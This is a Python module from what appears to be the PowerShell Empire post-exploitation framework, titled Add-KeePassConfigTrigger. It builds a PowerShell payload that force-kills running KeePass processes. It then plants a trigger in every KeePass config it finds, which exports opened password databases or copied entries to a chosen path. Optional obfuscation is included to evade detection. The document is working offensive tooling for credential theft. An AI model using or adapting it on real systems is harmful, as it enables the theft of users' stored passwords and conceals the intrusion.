from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': 'Add-KeePassConfigTrigger',

            # list of one or more authors for the module
            'Author': ['@tifkin_', '@harmj0y'],

            # more verbose multi-line description of the module
            'Description': ('This module adds a KeePass exfiltration trigger to all KeePass configs found by Find-KeePassConfig.'),

            # True if the module needs to run in the background
            'Background' : True,

            # File extension to save the file as
            'OutputExtension' : '',

            # True if the module needs admin rights to run
            'NeedsAdmin' : False,

            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe' : False,

            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            # list of any references/other comments
            'Comments': [
                'https://github.com/adaptivethreat/KeeThief'
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                # The 'Agent' option is the only one that MUST be in a module
                'Description'   :   'Agent to run the module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Action' : {
                'Description'   :   "'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export copied data to $ExportPath).",
                'Required'      :   True,
                'Value'         :   'ExportDatabase'
            },
            'ExportPath' : {
                'Description'   :   "The path to export data to, defaults to %APPDATA%\\KeePass\\",
                'Required'      :   False,
                'Value'         :   ''
            },
            'TriggerName' : {
                'Description'   :   "The name for the trigger.",
                'Required'      :   True,
                'Value'         :   'Debug'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value


    def generate(self, obfuscate=False, obfuscationCommand=""):

        moduleName = self.info["Name"]

        # read in the common powerview.ps1 module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/collection/vaults/KeePassConfig.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        moduleCode = f.read()
        f.close()

        # get just the code needed for the specified function
        script = moduleCode

        # kill all KeePass instances first
        scriptEnd = "\nGet-Process *keepass* | Stop-Process -Force"

        scriptEnd += "\nFind-KeePassconfig | Add-KeePassConfigTrigger "

        for option, values in self.options.iteritems():
            if option.lower() != "agent":
                if values['Value'] and values['Value'] != '':
                    if values['Value'].lower() == "true":
                        # if we're just adding a switch
                        scriptEnd += " -" + str(option)
                    else:
                        scriptEnd += " -" + str(option) + " " + str(values['Value'])

        scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
        scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
        if obfuscate:
            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
        script += scriptEnd
        return script
